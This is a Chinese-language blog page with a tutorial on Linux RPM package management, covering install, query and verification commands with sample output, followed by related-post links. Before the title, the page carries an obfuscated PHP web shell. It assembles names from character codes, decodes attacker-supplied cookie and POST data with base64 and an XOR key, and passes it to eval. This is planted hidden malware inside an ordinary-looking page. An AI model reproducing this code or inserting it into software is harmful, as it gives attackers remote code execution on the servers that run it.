$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} linux rpm包管理 | Linux运维部落

linux rpm包管理

一、概要

    RPM:RPM Package Manager(rpm软件包管理器)的缩写。它能将编译好的程序打包一个文件或有限的几个文件,可用于实现安装、卸载、升级、查询等功能。

二、rpm软件包管理

rpm包的命名格式:name-version-relase.arch.rpm

例如:bash-1.1.0-5.el6.x86_64.rpm

其中bash是就是我们的软件名字,1.1.0-5是该软件的版本号,el6.x86_64这两个部分是指我们该rpm包的运行平台的操作系统版本。例如el6就表示是针对于RHEL6的发现版本,我们使用的是什么版本的Linux操作系统,我们就要去下载对应的rpm版本,x86_64表示是运行在64位上的系统。

rpm的基础命令: rpm [option] /path/to/package_file(rpm+选项+安装包文件)

rpm的使用方法相当简单,常用选项有:

安装软件:rpm -i /path/to/package_file

卸载软件:rpm -epackage_name(软件名字)

以升级方式安装:rpm -U /path/to/package_file //软件原先存在则升级,否则安装

常用组合命令:

-v: 显示安装过程

-h:以#显示安装进度,一个#表示2%

例如:我们安装下bash的rpm包

[root@jxf home]# rpm -ivh bash-1.1.0-5.el6.x86_64.rpm   // 通常我们一般安装时跟上 -ivh参数,来显示安装的详细信息

Preparing…                 ########################################## [100%]   

1:tigervnc                  ########################################### [100%]

此时,我们发现软件已经安装完毕。

另外:rpm –test  /path/to/package_file 将对安装包进行安装测试,不会直接安装

    rpm –replacepkgs  /path/to/package_file  将对软件进行覆盖安装 

注意:在卸载程序包时,如果此程序被其他包所依赖,则将依赖于此包的所有包一并卸载,或者,使用–nodpes选项忽略依赖关系;但是,依赖于此程序的程序包可能无法正常运行。


RPM常用查询命令

rpm -qa   列出所有已安装的rpm软件

[root@jxf home]# rpm -qa
java-1.6.0-openjdk-devel-1.6.0.0-1.50.1.11.5.el6_3.x86_64
qimageblitz-0.0.4-1.el6.x86_64
gnome-python2-gnomevfs-2.28.0-3.el6.x86_64
perl-ExtUtils-ParseXS-2.2003.0-129.el6.x86_64
iscsi-initiator-utils-6.2.0.873-2.el6.x86_64
libhbaapi-2.2.6-1.el6.x86_64
perl-BSD-Resource-1.29.03-3.el6.x86_64
sane-backends-1.0.21-3.el6.x86_64
gtkspell-2.0.16-1.el6.x86_64

rpm -qf filename  查询指定文件属于哪个rpm包

[root@xiaoluo home]# rpm -qf /usr/share/mysql/

-libs-.-.el6_3.x86_64

rpm -qi packagename  查询已软件包的信息

[root@localhost jjh]# rpm -qi libmtp

Name        : libmtp                       Relocations: (not relocatable)

Version     : 1.0.1                             Vendor: CentOS

Release     : 2.el6                         Build Date: Wed 18 Aug 2010 09:30:05 PM CST

Install Date: Tue 03 Mar 2015 04:41:08 PM CST      Build Host: c6b3.bsys.dev.centos.org

Group       : System Environment/Libraries   Source RPM: libmtp-1.0.1-2.el6.src.rpm

Size        : 711583                           License: LGPLv2+

Signature   : RSA/8, Sun 03 Jul 2011 12:36:58 PM CST, Key ID 0946fca2c105b9de

Packager    : CentOS BuildSystem <http://bugs.centos.org>

URL         : http://libmtp.sourceforge.net/

Summary     : A software library for MTP media players

Description :

This package provides a software library for communicating with MTP

(Media Transfer Protocol) media players, typically audio players, video

players etc.

rpm -ql packagename  查询指定软件包包含的文件

[root@localhost jjh]# rpm -ql libmtp

/lib/udev/rules.d/60-libmtp.rules

/usr/lib64/libmtp.so.8

/usr/lib64/libmtp.so.8.3.1

/usr/share/hal/fdi/information/10freedesktop/10-usb-music-players-libmtp.fdi

rpm -qip software.rpm 查询rpm文件的信息

[root@jxf home]# rpm -qip zip-3.0-1.el6.x86_64.rpm 

Name        : zip                          Relocations: (not relocatable)

Version     : 3.0                               Vendor: CentOS

Release     : 1.el6                         Build Date: Wed 18 Aug 2010 09:30:05 PM CST

Install Date: (not installed)               Build Host: c6b3.bsys.dev.centos.org

Group       : Applications/Archiving        Source RPM: zip-3.0-1.el6.src.rpm

Size        : 823612                           License: BSD

Signature   : Tue 03 Mar 2015 04:41:08 PM CST Key ID 0946fca2c105b9de

Packager    : CentOS BuildSystem <http://bugs.centos.org>

URL         : http://www.info-zip.org/Zip.html

Summary     : A file compression and packaging utility compatible with PKZIP

Description :

The zip program is a compression and file packaging utility.  Zip is

analogous to a combination of the UNIX tar and compress commands and

is compatible with PKZIP (a compression and file packaging utility for

MS-DOS systems).


Install the zip package if you need to compress files using the zip

program.

rpm -qlp software.rpm  查询rpm文件包含的文件

[root@jxf home]# rpm -qlp zip-3.0-1.el6.x86_64.rpm 

/usr/bin/zip

/usr/bin/zipcloak

/usr/bin/zipnote

/usr/bin/zipsplit

/usr/share/doc/zip-3.0

/usr/share/doc/zip-3.0/CHANGES

/usr/share/doc/zip-3.0/LICENSE

/usr/share/doc/zip-3.0/README

/usr/share/doc/zip-3.0/README.CR

/usr/share/doc/zip-3.0/TODO

/usr/share/doc/zip-3.0/WHATSNEW

/usr/share/doc/zip-3.0/WHERE

/usr/share/doc/zip-3.0/algorith.txt

/usr/share/man/man1/zip.1.gz

/usr/share/man/man1/zipcloak.1.gz

/usr/share/man/man1/zipnote.1.gz

/usr/share/man/man1/zipsplit.1.gz

rpm校验命令:
rpm -V package_name:查询包安装后文件属性是否发生变化

[root@localhost jjh]# rpm -V libmtp

[root@localhost jjh]# 

如果没有任何显示,则说明该软件是完整的,否则显示以下数据。

例如:S..D…..P

   S file Size differs

  M Mode differs (includes permissions and file type)

  5 digest (formerly MD5 sum) differs

  D Device major/minor number mismatch

  L readLink(2) path mismatch

  U User ownership differs

  G Group ownership differs

  T mTime differs

  P caPabilities differ

如果某项属性没有变化,则显示为:"."

    

rpm -K /path/to/package_file: 手动检查包的完整性

[root@xiaoluo home]# rpm -K zip-3.0-1.el6.x86_64.rpm

zip-3.0-1.el6.x86_64.rpm: rsa sha1 (md5) pgp md5

数据库目录 /var/lib/rpm

使用rpm –initdb:初始化

如果事先没有库,会新建一个,如果有,则不重建

rpm –rebuilddb:重建

如果重建,覆盖原有的数据库


原创文章,作者:傲剑,如若转载,请注明出处:http://www.178linux.com/3602

(0)
上一篇 2015-04-27 18:30
下一篇 2015-04-27 21:29

相关推荐

  • 马哥教育网络班20期+第3周课程练习

    1、列出当前系统上所有已经登录的用户的用户名。 注意同一个用户登陆多次,只显示一次即可。    w | cut -d ' ' -f 1 | uniq -c       2、取出最后登陆到当前系统的用户的相关信息    last | head -n 1  &nbsp…

    Linux干货 2016-06-26
  • 马哥教育网络班21期+第6周课程练习

    VIM基础知识 常用模式: 编辑模式–>命令模式 输入模式 末行模式:内置的命令行接口 模式转换: 编辑模式–>输入模式 i:在光标所在处前转换为输入模式; a:在光标所在后面转入输入模式; o:在当前光标所在行的下方打开一个新行,并转为输入模式; I:在当前光标所在行的行首输入; A:在当前光标所在行的行尾输入; O:在当前光标所在行的上方…

    Linux干货 2016-08-15
  • sed的模式匹配用法探讨

    原创作品,允许转载,转载时请务必以超链接形式标明文章 原始出处 、作者信息和本声明。否则将追究法律责任。http://nolinux.blog.51cto.com/4824967/1405753 [root@sunsky Desktop]# cat sunsky a b c d e f [root@sunsk…

    Linux干货 2016-08-15
  • 加密类型及其相关算法

    加密类型及其相关算法 §·TCP/IP安全: ※·机密性: 数据在网络上传输是明文传输(ftp,http,smtp,telnet): ※·数据的完整性: 数据在网络上传输,不能被其它人篡改,保证数据的完整性: ※·身份验证: 访问的主机有一种机制可以表明就是你需要通信的主机。 ※·保证机密性:对数据进行加密。 ·如何加密:发送方通过转换规(转换算法)则把明文…

    Linux干货 2016-09-06
  • 第一篇

     新的征程又开始了,努力吧!

    Linux干货 2016-12-26
  • 关于大型网站技术演进的思考(八):存储的瓶颈(8)

    原文出处: 夏天的森林  在开始本篇主要内容前,我们一起看看下面的几张截图,首先是第一张图,如下图所示: 这是一家电商网站的首页,当我们第一次打开这个首页,网站会弹出一个强制性的对话框,让用户选择货物配送的地址,如果是淘宝和京东的话,那么这个选择配货地址的选项是在商品里,如下图是淘宝的选择配送地点: 下图是京东选择配货地点: 那么图一跟京…

    2015-03-11